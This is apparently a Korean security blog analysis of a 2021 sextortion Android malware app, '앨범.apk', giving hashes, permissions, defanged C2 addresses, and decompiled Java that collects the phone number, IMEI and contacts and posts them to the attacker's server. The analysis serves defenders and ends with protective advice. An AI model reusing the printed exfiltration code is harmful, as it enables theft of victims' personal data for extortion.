몸캠 스미싱 피싱 악성코드-앨범.apk(2021.08.13)

오늘은 몸캠 스미싱 피싱 악성코드인-앨범.apk(2021.08.13)에 대해 글을 적어 보겠습니다. 일단 악성코드 이름은 자위영상.apk 또는 앨범.apk 으로 유포가 되고 있습니다. 몸캠 스미싱 피싱이라는 것에 대해 알아보고 시작을 하겠습니다. 몸캠 피싱은 일단 남녀노소 누구나 당할 수가 있습니다. 몸캠 이라는 것은 영어로는 sextortion로 부르고 있으며 피해자로부터 성적 호기심 등을 이용해서 몰래 녹화, 녹음을 통해서 금전 및 가상화페 등을 요구하는 범죄입니다.
보통 몸캠 하자고 유혹하여 해킹 어플을 설치하게 하거나 해킹 링크로의 접속을 유도하고 상대방에게 노출 사진을 찍게 하게 하고 이것을 스마트폰에 저장된 연락처에 퍼뜨리겠다는 협박을 통해 돈을 뜯어내는 사기 방법입니다.
스마트폰 일단 랜덤 채팅앱을 설치돼 있으며 갑자기 모르는 여자로부터 묻지도 따지지도 않고 스카이프, 라인, 카카오톡 등 영상통화가 가능하고 PC와 스마트폰 간에 연동할 수 있는 앱으로 대화를 이어나가자고 하면 몸캠 피싱일 가능성이 거의 99.9%에 가깝고 기본적인 레퍼토리는 영상통화 서비스를 이용해서 서로 자위하는 모습을 보여주자고 그러거나 그냥 만나자고 해놓고 만나기 전에 영상통화하고 만나자고 하는 방법을 사용하고 있습니다.

몸캠 피싱 앨범 실행 화면

먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명: 앨범.apk
CRC32:b10451f6
MD5:47864805dee628de5e6a1bc45cadd80c
SHA-1: 0052e33ba2f75fd9de8e7ce0807c63a22524f972
SHA-256:98637246de8d7e6c0ac88140f7d4973f12a0cc6b8afbf81b5d039e1e6e7af2eb
SHA-512:da0f8cbc37e56a84bba86e70fb99531f678b92f88e004673289831df680e705a2761775268660ad2d1bfa5581b08c629127a787524ad98b454186a534d9f11e7
입니다.

안드로이드 악성코드 권한

단 해당 악성코드를 실행을 시키고 나서 권한을 다 허용하고 보면 서버 점검 중입니다. 라고 나와야 하는데 서버점겅중입니다. 이라는 것을 볼 수가 있습니다. 한국어가 이상한 것을 볼 수가 있을 것입니다.
해당 몸캠 스미싱 악성코드 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>

일단 권한을 보면 기본적으로 네트워크 연결, 와이파이, 휴대전화기 번호, 스마트폰 기기 고유 id, imei 등 스마트폰 단말기 정보 가져오기 오기, 연락처 읽기로 구성이 된 단순해진 악성코드입니다.
일단 해당 악성코드 앱 이름과 패키지 이름은 다음과 같습니다.
앱 이름: 앨범
패키지 이름: com.nnbbccapp.aaawwewe564
그리고 먼저 스마트폰 전화번호를 가져 오려고 com.zhongwenmingzi.xuexi.a.e 부분에서는 다음과 같은 명령어가 들어가 져 있습니다.

스마트폰 전화 번호 및 단말기 정보 가져 오기

public static final String a(Context paramContext) {
    String str2 = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
    String str1 = str2;
    if (TextUtils.isEmpty(str2))
      str1 = c.c(paramContext); 
    return a(str1);
  }
  
  public static final String a(String paramString) {
    String str = paramString;
    if (!TextUtils.isEmpty(paramString))
      str = Pattern.compile("[^\\d]").matcher(paramString).replaceAll("").trim(); 
    return str;
  }
  
  public static final String b(Context paramContext) {
    String str2 = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
    String str1 = str2;
    if (TextUtils.isEmpty(str2))
      str1 = c.d(paramContext); 
    return str1;
  }
}

악성코드에 포함된 주소들은 다음과 같습니다.

hxxp://schemas.android(.)com/apk/res/android
hxxp://51.222.32(.)109:8080/m/uploadSms.htm hxxp://51.222.32(.)109:8080/m/uploadAlbum.htm 
hxxp://51.222.32(.)109:8080/m/login.htm 
hxxp://51.222.32.109:8080/m/openVip.htm 
hxxp://51.222.32(.)109:8080/m/uploadContact.htm
10.0(.)0.200 
10.0.0(.)172 
hxxp://51.222.32(.)109:8080/m/uploadSms.htm 
hxxp://51.222.32(.)109:8080/m/sychonizeUser.htm

악성코드 로그인 주소

입니다. 악성코드가 스마트폰을 감염을 시켜서 해당 스마트폰의 개인정보를 전송하기 위해서 다음의 주소를 사용합니다.
hxxp://51.222.32(.)109:8080/m/uploadSms.htm
hxxp://51.222.32(.)109:8080/m/sychonizeUser.htm
hxxp://51.222.32(.)109:8080/m/uploadContact.htm
hxxp://schemas.android(.)com/apk/res/android
hxxp://51.222(.)32.109:8080/m/openVip.htm
hxxp://51.222.32(.)109:8080/m/uploadAlbum.htm
hxxp://51.222.32(.)109:8080/m/login.htm
com.zhongwenmingzi.xuexi.d에서는 해당 악성코드에 로그인하기 위해서 아이디, 비밀번호가 들어가  있는것을 확인을 할 수가 있습니다.

public static String a(Context paramContext) {
    String str;
    StringBuffer stringBuffer = new StringBuffer();
    try {
      HttpURLConnection httpURLConnection = (HttpURLConnection)(new URL("hxxp://51.222(.)32.109:8080/m/login.htm")).openConnection();
      httpURLConnection.setRequestMethod("POST");
      httpURLConnection.setConnectTimeout(3000);
      httpURLConnection.setDoOutput(true);
      byte[] arrayOfByte = "username=몰라도 됩니다.&password=몰라도 됩니다.".getBytes();
      httpURLConnection.getOutputStream().write(arrayOfByte);
      httpURLConnection.setInstanceFollowRedirects(false);
      httpURLConnection.connect();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), "UTF-8"));
      while (true) {
        String str1 = bufferedReader.readLine();
        if (str1 != null) {
          stringBuffer.append(str1);
          stringBuffer.append("\r\n");
          continue;
        }

악성코드 인증서 정보는 다음과 같습니다.

악성코드 인증서 정보

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1666207470 (0x63504eee)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=KP, ST=111111, L=111111, O=111111, OU=111111, CN=111111
        Validity
            Not Before: Jul  6 00:04:27 2021 GMT
            Not After : Jun 30 00:04:27 2046 GMT
        Subject: C=KP, ST=111111, L=111111, O=111111, OU=111111, CN=111111
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)

그리고 현재 악성코드에서 개인정보 업로드 하는 사이트는 폐쇄돼 있지만 언제 부활을 할 수가 있습니다. 그리고 대략 악성코드가 스마트폰에서 업로드 하는 부분은 com.zhongwenmingzi.xuexi.e ,com.zhongwenmingzi.xuexi.g에 보면 다음과 같이 돼 있습니다.

public boolean a() {
    try {
      ArrayList<TongXunLu> arrayList = f.a(this.b);
      if (arrayList != null && !arrayList.isEmpty()) {
        HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
        hashMap.put("phone", this.a);
        String str = (new Gson()).toJson(arrayList);
        Log.d("##########", str);
        hashMap.put("contacts", str);
        Result result = (Result)this.c.a(b(), hashMap, Result.class);
        if (result != null)
          result.isSuccess(); 
      } 
      return true;
    } catch (Exception exception) {
      exception.printStackTrace();
      return true;
    } 
  }
  
  protected String b() {
    return "hxxp://51.222.32(.)109:8080/m/uploadContact.htm";
  }
}
com.zhongwenmingzi.xuexi.g 내용
  public boolean c() {
    HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
    String str = e.b(this.a);
    try {
      hashMap.put("phone", this.d);
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append(str);
      stringBuilder.append("#");
      stringBuilder.append(e.a());
      hashMap.put("imei", stringBuilder.toString());
      hashMap.put("model", e.a());
      Result result = (Result)this.c.a(b(), hashMap, Result.class);
    } catch (Exception exception) {
      exception.printStackTrace();
      exception = null;
    } 
    if (exception != null && exception.isSuccess()) {
      User user = exception.getUser();
      if (user != null) {
        c.a(this.a, user);
        if (TextUtils.isEmpty(str))
          c.b(this.a, user.getNewImei()); 
        return true;
      } 
    } 
    return false;
  }
  }

악성코드 수집 정보

입니다. 그리고 2021-08-13 01:09:32 UTC 기준으로 바이러스토탈에서 다음 백신 업체들이 탐지하고 있습니다.
AhnLab-V3:Trojan/Android.SMSstealer.993516
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Spy.Vmvol.KD.Gen
BitDefenderFalx:Android.Trojan.InfoStealer.WX
CAT-QuickHeal:Android.Vmvol.GEN40573
Cynet:Malicious (score: 99)
Cyren:AndroidOS/Trojan.JNMO-0
DrWeb:Android.Spy.723.origin
ESET-NOD32:A Variant Of Android/Spy.Vmvol.I
F-Secure:Malware.ANDROID/Spy.Vmvol.KD.Gen
Fortinet:Android/Vmvol.I!tr
Ikarus:Trojan-Spy.AndroidOS.Vmvol
K7GW:Trojan ( 0057f5c91 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Agen.vu
McAfee:Artemis!6B289ADF93E6
McAfee-GW-Edition:Artemis
Microsoft:TrojanSpy:AndroidOS/Vmvol.A!MTB
NANO-Antivirus:Trojan.Android.Vmvol.ixhysg
Symantec:Trojan.Gen.2
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:A.privacy.InfoStealer
일단 기본적인 보안 수칙을 지킨다고 하면 스마트폰이 악성코드에 감염되는 것을 최소화할 수가 있습니다.
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
기본적으로 이름 있는 백신 앱을 설치하기를 권장하면 최소 안랩의 V3는 설치하시는 것을 추천 드리겠습니다.